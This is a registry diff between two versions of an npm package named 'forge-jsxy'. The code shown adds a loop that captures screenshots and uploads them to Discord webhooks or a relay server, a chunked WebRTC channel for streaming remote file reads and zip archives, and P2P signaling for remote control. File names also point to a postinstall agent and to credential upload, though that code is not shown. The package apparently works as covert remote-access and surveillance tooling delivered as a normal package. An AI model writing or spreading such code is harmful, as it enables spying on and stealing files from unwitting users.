forge-jsxy 1.0.78 → 1.0.79
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +419 -5
- package/assets/remote-control-template.html +673 -179
- package/dist/assets/files-explorer-template.html +420 -6
- package/dist/assets/remote-control-template.html +673 -179
- package/dist/cli-relay.js +3 -0
- package/dist/discordAgentScreenshot.js +13 -7
- package/dist/forgeBulkDc.d.ts +57 -0
- package/dist/forgeBulkDc.js +264 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/fsProtocol.d.ts +7 -0
- package/dist/fsProtocol.js +115 -53
- package/dist/hfCredentials.js +4 -1
- package/dist/hfUpload.js +38 -4
- package/dist/relayAgent.js +216 -23
- package/dist/relayDashboardGate.js +8 -0
- package/dist/relayServer.js +180 -25
- package/package.json +5 -3
- package/scripts/copy-assets.mjs +15 -2
- package/scripts/forge-jsx-explorer-upgrade.mjs +1 -1
- package/scripts/postinstall-agent.mjs +13 -0
package/dist/cli-relay.js
CHANGED
|
@@ -28,6 +28,9 @@ function parseArgs(argv) {
|
|
|
28
28
|
` RELAY_DISCORD_REQUIRE_SEQ_ID=1 (default) — require forge-db seq_id for client-N channel naming (blocks legacy hash channels).\n` +
|
|
29
29
|
` RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS / RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS (optional → relay_features for agents).\n` +
|
|
30
30
|
` Agents mirror via relay_features on connect (in-memory only; cleared on disconnect).\n` +
|
|
31
|
+
` WebRTC P2P (signaling via relay WS; file explorer + /remote use forge-rc when agent supports node-datachannel):\n` +
|
|
32
|
+
` default ON — set RELAY_WEBRTC_SIGNALING=0 to disable. Optional RELAY_RTC_ICE_SERVERS=<JSON RTCIceServer[]>.\n` +
|
|
33
|
+
` RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 — legacy: omit WebRTC until agent semver ≥ relay package.\n` +
|
|
31
34
|
` RELAY_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries on Discord HTTP 429 for REST + webhook delete.`);
|
|
32
35
|
process.exit(0);
|
|
33
36
|
}
|
|
@@ -143,7 +143,7 @@ function discordUploadMode() {
|
|
|
143
143
|
}
|
|
144
144
|
/**
|
|
145
145
|
* Outer retries for webhook ticket + POST when Discord still returns 429 after relay `fetchUntilNot429`
|
|
146
|
-
* (default **
|
|
146
|
+
* (default **12**, min **1**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
|
|
147
147
|
*/
|
|
148
148
|
function discordWebhookTicketFlowMaxAttempts() {
|
|
149
149
|
const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS || "12").trim();
|
|
@@ -258,6 +258,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
258
258
|
};
|
|
259
259
|
const flushUploadRelay = (b64) => {
|
|
260
260
|
const rid = `ds_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
|
|
261
|
+
/** Hold screenshot payload locally so we can clear it after upload (large base64 strings). */
|
|
261
262
|
let payload = b64;
|
|
262
263
|
void (async () => {
|
|
263
264
|
try {
|
|
@@ -293,7 +294,8 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
293
294
|
})();
|
|
294
295
|
};
|
|
295
296
|
const flushUploadWebhook = (b64) => {
|
|
296
|
-
|
|
297
|
+
/** Cleared in `finally` so giant base64 does not linger across uploads / retries. */
|
|
298
|
+
let screenshotB64ForFallback = b64;
|
|
297
299
|
let rawB64 = b64;
|
|
298
300
|
void (async () => {
|
|
299
301
|
let png;
|
|
@@ -304,6 +306,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
304
306
|
if (!opts.quiet) {
|
|
305
307
|
console.error("[forge-js:discord-screenshot] invalid base64 for webhook upload");
|
|
306
308
|
}
|
|
309
|
+
screenshotB64ForFallback = "";
|
|
307
310
|
rawB64 = "";
|
|
308
311
|
uploadBusy = false;
|
|
309
312
|
if (!stopped && pendingB64Queue.length > 0)
|
|
@@ -320,8 +323,9 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
320
323
|
}
|
|
321
324
|
// Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
|
|
322
325
|
if (discordWebhookRelayFallbackEnabled()) {
|
|
323
|
-
await relayFallbackUploadWithRetry(
|
|
326
|
+
await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook payload too large after local shrink");
|
|
324
327
|
}
|
|
328
|
+
screenshotB64ForFallback = "";
|
|
325
329
|
try {
|
|
326
330
|
png.fill(0);
|
|
327
331
|
}
|
|
@@ -365,7 +369,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
365
369
|
console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
|
|
366
370
|
}
|
|
367
371
|
if (discordWebhookRelayFallbackEnabled()) {
|
|
368
|
-
await relayFallbackUploadWithRetry(
|
|
372
|
+
await relayFallbackUploadWithRetry(screenshotB64ForFallback, err);
|
|
369
373
|
}
|
|
370
374
|
return;
|
|
371
375
|
}
|
|
@@ -395,7 +399,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
395
399
|
console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
|
|
396
400
|
}
|
|
397
401
|
if (discordWebhookRelayFallbackEnabled()) {
|
|
398
|
-
await relayFallbackUploadWithRetry(
|
|
402
|
+
await relayFallbackUploadWithRetry(screenshotB64ForFallback, posted.error);
|
|
399
403
|
}
|
|
400
404
|
return;
|
|
401
405
|
}
|
|
@@ -403,7 +407,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
403
407
|
console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
|
|
404
408
|
}
|
|
405
409
|
if (discordWebhookRelayFallbackEnabled()) {
|
|
406
|
-
await relayFallbackUploadWithRetry(
|
|
410
|
+
await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook flow exhausted ticket/post retries");
|
|
407
411
|
}
|
|
408
412
|
}
|
|
409
413
|
catch (e) {
|
|
@@ -411,10 +415,12 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
411
415
|
console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
|
|
412
416
|
}
|
|
413
417
|
if (discordWebhookRelayFallbackEnabled()) {
|
|
414
|
-
await relayFallbackUploadWithRetry(
|
|
418
|
+
await relayFallbackUploadWithRetry(screenshotB64ForFallback, String(e));
|
|
415
419
|
}
|
|
416
420
|
}
|
|
417
421
|
finally {
|
|
422
|
+
screenshotB64ForFallback = "";
|
|
423
|
+
rawB64 = "";
|
|
418
424
|
if (png && png.length > 0) {
|
|
419
425
|
try {
|
|
420
426
|
png.fill(0);
|
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Ordered `forge-bulk` data channel framing for large fs_read/fs_zip payloads.
|
|
3
|
+
*
|
|
4
|
+
* **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
|
|
5
|
+
* **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
|
|
6
|
+
* last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
|
|
7
|
+
*
|
|
8
|
+
* Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
|
|
9
|
+
*
|
|
10
|
+
* **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
|
|
11
|
+
* resets — otherwise the next hdr could be mis-parsed while mid-chunk.
|
|
12
|
+
*/
|
|
13
|
+
export declare const FORGE_BULK_MAGIC_KEY = "_fb";
|
|
14
|
+
export declare const FORGE_BULK_MAGIC_VAL = "hdr";
|
|
15
|
+
/** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
|
|
16
|
+
export declare const FORGE_BULK_ABORT_VAL = "abort";
|
|
17
|
+
/** Legacy single-binary framing (still accepted by viewers). */
|
|
18
|
+
export declare const FORGE_BULK_VERSION_V1 = 1;
|
|
19
|
+
/** Chunked binary framing (agent send path). */
|
|
20
|
+
export declare const FORGE_BULK_VERSION = 2;
|
|
21
|
+
/** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
|
|
22
|
+
export declare const FORGE_BULK_MAX_BODY_BYTES: number;
|
|
23
|
+
/** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
|
|
24
|
+
export declare const FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES: number;
|
|
25
|
+
/** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
|
|
26
|
+
export declare const FORGE_BULK_V2_MAX_CHUNK_SZ: number;
|
|
27
|
+
/** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
|
|
28
|
+
export declare const FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
|
|
29
|
+
export type ForgeBulkDc = {
|
|
30
|
+
isOpen: () => boolean;
|
|
31
|
+
sendMessage: (s: string) => boolean;
|
|
32
|
+
sendMessageBinary: (b: Uint8Array) => boolean;
|
|
33
|
+
};
|
|
34
|
+
export type ForgeBulkPushResult = {
|
|
35
|
+
status: "pending";
|
|
36
|
+
} | {
|
|
37
|
+
status: "complete";
|
|
38
|
+
msg: Record<string, unknown>;
|
|
39
|
+
} | {
|
|
40
|
+
status: "error";
|
|
41
|
+
};
|
|
42
|
+
export declare function forgeBulkAbortWireJson(): string;
|
|
43
|
+
/**
|
|
44
|
+
* Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
|
|
45
|
+
*/
|
|
46
|
+
export declare class ForgeBulkInboundAssembler {
|
|
47
|
+
private mode;
|
|
48
|
+
private hdr;
|
|
49
|
+
private byteLen;
|
|
50
|
+
private chunkSz;
|
|
51
|
+
private buf;
|
|
52
|
+
private filled;
|
|
53
|
+
reset(): void;
|
|
54
|
+
pushJson(text: string): ForgeBulkPushResult;
|
|
55
|
+
pushBinary(data: Uint8Array): ForgeBulkPushResult;
|
|
56
|
+
}
|
|
57
|
+
export declare function forgeBulkAgentTrySend(dc: ForgeBulkDc | null | undefined, resp: Record<string, unknown>): boolean;
|
|
@@ -0,0 +1,264 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Ordered `forge-bulk` data channel framing for large fs_read/fs_zip payloads.
|
|
4
|
+
*
|
|
5
|
+
* **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
|
|
6
|
+
* **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
|
|
7
|
+
* last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
|
|
8
|
+
*
|
|
9
|
+
* Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
|
|
10
|
+
*
|
|
11
|
+
* **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
|
|
12
|
+
* resets — otherwise the next hdr could be mis-parsed while mid-chunk.
|
|
13
|
+
*/
|
|
14
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
15
|
+
exports.ForgeBulkInboundAssembler = exports.FORGE_BULK_V2_MIN_CHUNK_SZ = exports.FORGE_BULK_V2_MAX_CHUNK_SZ = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = exports.FORGE_BULK_MAX_BODY_BYTES = exports.FORGE_BULK_VERSION = exports.FORGE_BULK_VERSION_V1 = exports.FORGE_BULK_ABORT_VAL = exports.FORGE_BULK_MAGIC_VAL = exports.FORGE_BULK_MAGIC_KEY = void 0;
|
|
16
|
+
exports.forgeBulkAbortWireJson = forgeBulkAbortWireJson;
|
|
17
|
+
exports.forgeBulkAgentTrySend = forgeBulkAgentTrySend;
|
|
18
|
+
const fsProtocol_1 = require("./fsProtocol");
|
|
19
|
+
exports.FORGE_BULK_MAGIC_KEY = "_fb";
|
|
20
|
+
exports.FORGE_BULK_MAGIC_VAL = "hdr";
|
|
21
|
+
/** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
|
|
22
|
+
exports.FORGE_BULK_ABORT_VAL = "abort";
|
|
23
|
+
/** Legacy single-binary framing (still accepted by viewers). */
|
|
24
|
+
exports.FORGE_BULK_VERSION_V1 = 1;
|
|
25
|
+
/** Chunked binary framing (agent send path). */
|
|
26
|
+
exports.FORGE_BULK_VERSION = 2;
|
|
27
|
+
/** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
|
|
28
|
+
exports.FORGE_BULK_MAX_BODY_BYTES = fsProtocol_1.MAX_READ_BYTES * 4;
|
|
29
|
+
/** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
|
|
30
|
+
exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = 56 * 1024;
|
|
31
|
+
/** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
|
|
32
|
+
exports.FORGE_BULK_V2_MAX_CHUNK_SZ = 256 * 1024;
|
|
33
|
+
/** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
|
|
34
|
+
exports.FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
|
|
35
|
+
const HDR_STR_MAX = 24576;
|
|
36
|
+
function stripBulkHdrFields(hdr) {
|
|
37
|
+
const msg = {};
|
|
38
|
+
for (const k of Object.keys(hdr)) {
|
|
39
|
+
if (k === exports.FORGE_BULK_MAGIC_KEY || k === "v" || k === "byte_len" || k === "chunk_sz")
|
|
40
|
+
continue;
|
|
41
|
+
msg[k] = hdr[k];
|
|
42
|
+
}
|
|
43
|
+
return msg;
|
|
44
|
+
}
|
|
45
|
+
function bytesToB64(buf) {
|
|
46
|
+
return Buffer.from(buf).toString("base64");
|
|
47
|
+
}
|
|
48
|
+
function forgeBulkAbortWireJson() {
|
|
49
|
+
return JSON.stringify({
|
|
50
|
+
[exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_ABORT_VAL,
|
|
51
|
+
v: exports.FORGE_BULK_VERSION,
|
|
52
|
+
});
|
|
53
|
+
}
|
|
54
|
+
function trySendBulkAbort(dc) {
|
|
55
|
+
try {
|
|
56
|
+
if (dc.isOpen())
|
|
57
|
+
dc.sendMessage(forgeBulkAbortWireJson());
|
|
58
|
+
}
|
|
59
|
+
catch {
|
|
60
|
+
/* skip */
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
/**
|
|
64
|
+
* Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
|
|
65
|
+
*/
|
|
66
|
+
class ForgeBulkInboundAssembler {
|
|
67
|
+
mode = "hdr";
|
|
68
|
+
hdr = null;
|
|
69
|
+
byteLen = 0;
|
|
70
|
+
chunkSz = 0;
|
|
71
|
+
buf = null;
|
|
72
|
+
filled = 0;
|
|
73
|
+
reset() {
|
|
74
|
+
this.mode = "hdr";
|
|
75
|
+
this.hdr = null;
|
|
76
|
+
this.byteLen = 0;
|
|
77
|
+
this.chunkSz = 0;
|
|
78
|
+
this.buf = null;
|
|
79
|
+
this.filled = 0;
|
|
80
|
+
}
|
|
81
|
+
pushJson(text) {
|
|
82
|
+
let j;
|
|
83
|
+
try {
|
|
84
|
+
j = JSON.parse(text);
|
|
85
|
+
}
|
|
86
|
+
catch {
|
|
87
|
+
this.reset();
|
|
88
|
+
return { status: "error" };
|
|
89
|
+
}
|
|
90
|
+
const magic = j && j[exports.FORGE_BULK_MAGIC_KEY];
|
|
91
|
+
if (magic === exports.FORGE_BULK_ABORT_VAL) {
|
|
92
|
+
this.reset();
|
|
93
|
+
return { status: "error" };
|
|
94
|
+
}
|
|
95
|
+
if (this.mode !== "hdr") {
|
|
96
|
+
if (magic === exports.FORGE_BULK_MAGIC_VAL) {
|
|
97
|
+
this.reset();
|
|
98
|
+
}
|
|
99
|
+
else {
|
|
100
|
+
this.reset();
|
|
101
|
+
return { status: "error" };
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
if (!j || magic !== exports.FORGE_BULK_MAGIC_VAL) {
|
|
105
|
+
this.reset();
|
|
106
|
+
return { status: "error" };
|
|
107
|
+
}
|
|
108
|
+
const ver = Number(j.v);
|
|
109
|
+
if (ver !== exports.FORGE_BULK_VERSION_V1 && ver !== exports.FORGE_BULK_VERSION) {
|
|
110
|
+
this.reset();
|
|
111
|
+
return { status: "error" };
|
|
112
|
+
}
|
|
113
|
+
const bl = Number(j.byte_len);
|
|
114
|
+
if (!Number.isFinite(bl) || bl < 0 || bl > exports.FORGE_BULK_MAX_BODY_BYTES || Math.floor(bl) !== bl) {
|
|
115
|
+
this.reset();
|
|
116
|
+
return { status: "error" };
|
|
117
|
+
}
|
|
118
|
+
const byteLen = bl | 0;
|
|
119
|
+
this.hdr = j;
|
|
120
|
+
this.byteLen = byteLen;
|
|
121
|
+
if (byteLen === 0) {
|
|
122
|
+
const msg = stripBulkHdrFields(j);
|
|
123
|
+
msg.b64 = "";
|
|
124
|
+
this.reset();
|
|
125
|
+
return { status: "complete", msg };
|
|
126
|
+
}
|
|
127
|
+
if (ver === exports.FORGE_BULK_VERSION_V1) {
|
|
128
|
+
this.mode = "v1wait";
|
|
129
|
+
return { status: "pending" };
|
|
130
|
+
}
|
|
131
|
+
let cs = Number(j.chunk_sz);
|
|
132
|
+
if (!Number.isFinite(cs) ||
|
|
133
|
+
cs < exports.FORGE_BULK_V2_MIN_CHUNK_SZ ||
|
|
134
|
+
cs > exports.FORGE_BULK_V2_MAX_CHUNK_SZ ||
|
|
135
|
+
Math.floor(cs) !== cs) {
|
|
136
|
+
this.reset();
|
|
137
|
+
return { status: "error" };
|
|
138
|
+
}
|
|
139
|
+
this.chunkSz = cs | 0;
|
|
140
|
+
try {
|
|
141
|
+
this.buf = new Uint8Array(byteLen);
|
|
142
|
+
}
|
|
143
|
+
catch {
|
|
144
|
+
this.reset();
|
|
145
|
+
return { status: "error" };
|
|
146
|
+
}
|
|
147
|
+
this.filled = 0;
|
|
148
|
+
this.mode = "v2fill";
|
|
149
|
+
return { status: "pending" };
|
|
150
|
+
}
|
|
151
|
+
pushBinary(data) {
|
|
152
|
+
if (this.mode === "hdr") {
|
|
153
|
+
this.reset();
|
|
154
|
+
return { status: "error" };
|
|
155
|
+
}
|
|
156
|
+
if (!this.hdr || data.length <= 0) {
|
|
157
|
+
this.reset();
|
|
158
|
+
return { status: "error" };
|
|
159
|
+
}
|
|
160
|
+
if (this.mode === "v1wait") {
|
|
161
|
+
if (data.length !== this.byteLen) {
|
|
162
|
+
this.reset();
|
|
163
|
+
return { status: "error" };
|
|
164
|
+
}
|
|
165
|
+
const msg = stripBulkHdrFields(this.hdr);
|
|
166
|
+
msg.b64 = bytesToB64(data);
|
|
167
|
+
this.reset();
|
|
168
|
+
return { status: "complete", msg };
|
|
169
|
+
}
|
|
170
|
+
if (this.mode === "v2fill") {
|
|
171
|
+
const buf = this.buf;
|
|
172
|
+
if (!buf) {
|
|
173
|
+
this.reset();
|
|
174
|
+
return { status: "error" };
|
|
175
|
+
}
|
|
176
|
+
const rem = this.byteLen - this.filled;
|
|
177
|
+
if (data.length > rem) {
|
|
178
|
+
this.reset();
|
|
179
|
+
return { status: "error" };
|
|
180
|
+
}
|
|
181
|
+
if (rem > this.chunkSz) {
|
|
182
|
+
if (data.length !== this.chunkSz) {
|
|
183
|
+
this.reset();
|
|
184
|
+
return { status: "error" };
|
|
185
|
+
}
|
|
186
|
+
}
|
|
187
|
+
else if (data.length !== rem) {
|
|
188
|
+
this.reset();
|
|
189
|
+
return { status: "error" };
|
|
190
|
+
}
|
|
191
|
+
buf.set(data, this.filled);
|
|
192
|
+
this.filled += data.length;
|
|
193
|
+
if (this.filled === this.byteLen) {
|
|
194
|
+
const msg = stripBulkHdrFields(this.hdr);
|
|
195
|
+
msg.b64 = bytesToB64(buf);
|
|
196
|
+
this.reset();
|
|
197
|
+
return { status: "complete", msg };
|
|
198
|
+
}
|
|
199
|
+
return { status: "pending" };
|
|
200
|
+
}
|
|
201
|
+
this.reset();
|
|
202
|
+
return { status: "error" };
|
|
203
|
+
}
|
|
204
|
+
}
|
|
205
|
+
exports.ForgeBulkInboundAssembler = ForgeBulkInboundAssembler;
|
|
206
|
+
function forgeBulkAgentTrySend(dc, resp) {
|
|
207
|
+
if (!dc?.isOpen())
|
|
208
|
+
return false;
|
|
209
|
+
const ty = String(resp.type ?? "");
|
|
210
|
+
if (ty !== "fs_read_result" && ty !== "fs_zip_result")
|
|
211
|
+
return false;
|
|
212
|
+
const b64 = resp.b64;
|
|
213
|
+
if (typeof b64 !== "string" || b64.length === 0)
|
|
214
|
+
return false;
|
|
215
|
+
let raw;
|
|
216
|
+
try {
|
|
217
|
+
raw = Buffer.from(b64, "base64");
|
|
218
|
+
}
|
|
219
|
+
catch {
|
|
220
|
+
return false;
|
|
221
|
+
}
|
|
222
|
+
if (raw.length > exports.FORGE_BULK_MAX_BODY_BYTES)
|
|
223
|
+
return false;
|
|
224
|
+
const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
|
|
225
|
+
const hdr = {
|
|
226
|
+
[exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_MAGIC_VAL,
|
|
227
|
+
v: exports.FORGE_BULK_VERSION,
|
|
228
|
+
byte_len: raw.length,
|
|
229
|
+
chunk_sz: chunkSz,
|
|
230
|
+
};
|
|
231
|
+
for (const [k, v] of Object.entries(resp)) {
|
|
232
|
+
if (k === "b64")
|
|
233
|
+
continue;
|
|
234
|
+
hdr[k] = v;
|
|
235
|
+
}
|
|
236
|
+
let hdrStr;
|
|
237
|
+
try {
|
|
238
|
+
hdrStr = JSON.stringify(hdr);
|
|
239
|
+
}
|
|
240
|
+
catch {
|
|
241
|
+
return false;
|
|
242
|
+
}
|
|
243
|
+
if (hdrStr.length > HDR_STR_MAX)
|
|
244
|
+
return false;
|
|
245
|
+
let hdrCommitted = false;
|
|
246
|
+
try {
|
|
247
|
+
if (!dc.sendMessage(hdrStr))
|
|
248
|
+
return false;
|
|
249
|
+
hdrCommitted = true;
|
|
250
|
+
for (let off = 0; off < raw.length; off += chunkSz) {
|
|
251
|
+
const slice = raw.subarray(off, Math.min(off + chunkSz, raw.length));
|
|
252
|
+
if (!dc.sendMessageBinary(new Uint8Array(slice))) {
|
|
253
|
+
trySendBulkAbort(dc);
|
|
254
|
+
return false;
|
|
255
|
+
}
|
|
256
|
+
}
|
|
257
|
+
return true;
|
|
258
|
+
}
|
|
259
|
+
catch {
|
|
260
|
+
if (hdrCommitted)
|
|
261
|
+
trySendBulkAbort(dc);
|
|
262
|
+
return false;
|
|
263
|
+
}
|
|
264
|
+
}
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
export declare function forgeWebRtcP2PEnabled(): boolean;
|
|
2
|
+
export declare function agentOutboundPreferRtcDc(msgType: string): boolean;
|
|
3
|
+
export declare function rtcIceServersForNodeDc(raw: unknown[] | null | undefined): string[];
|
|
4
|
+
export type ForgeRtcSignalingSend = (msg: Record<string, unknown>) => void;
|
|
5
|
+
type PeerConnCtor = typeof import("node-datachannel").PeerConnection;
|
|
6
|
+
export type DataChannelApi = {
|
|
7
|
+
sendMessage: (s: string) => boolean;
|
|
8
|
+
sendMessageBinary?: (b: Uint8Array) => boolean;
|
|
9
|
+
isOpen: () => boolean;
|
|
10
|
+
};
|
|
11
|
+
export interface ForgeRtcAgentSessionOptions {
|
|
12
|
+
PeerConnection: PeerConnCtor;
|
|
13
|
+
sdp: string;
|
|
14
|
+
sdpType: string;
|
|
15
|
+
iceServers: string[];
|
|
16
|
+
sendSignaling: ForgeRtcSignalingSend;
|
|
17
|
+
/** `main` = `forge-rc`; `input` = optional `forge-rc-input`; `bulk` = ordered `forge-bulk` (large fs payloads). */
|
|
18
|
+
setOutboundDc: (which: "main" | "input" | "bulk", dc: DataChannelApi | null) => void;
|
|
19
|
+
onInboundDcText: (text: string) => void;
|
|
20
|
+
onFatal: () => void;
|
|
21
|
+
quiet: boolean;
|
|
22
|
+
}
|
|
23
|
+
export declare class ForgeRtcAgentSession {
|
|
24
|
+
private readonly pc;
|
|
25
|
+
private destroyed;
|
|
26
|
+
constructor(opts: ForgeRtcAgentSessionOptions);
|
|
27
|
+
addRemoteIce(candidate: string, mid: string): void;
|
|
28
|
+
close(): void;
|
|
29
|
+
}
|
|
30
|
+
export declare function loadNodeDcPeerConnection(): PeerConnCtor | null;
|
|
31
|
+
export {};
|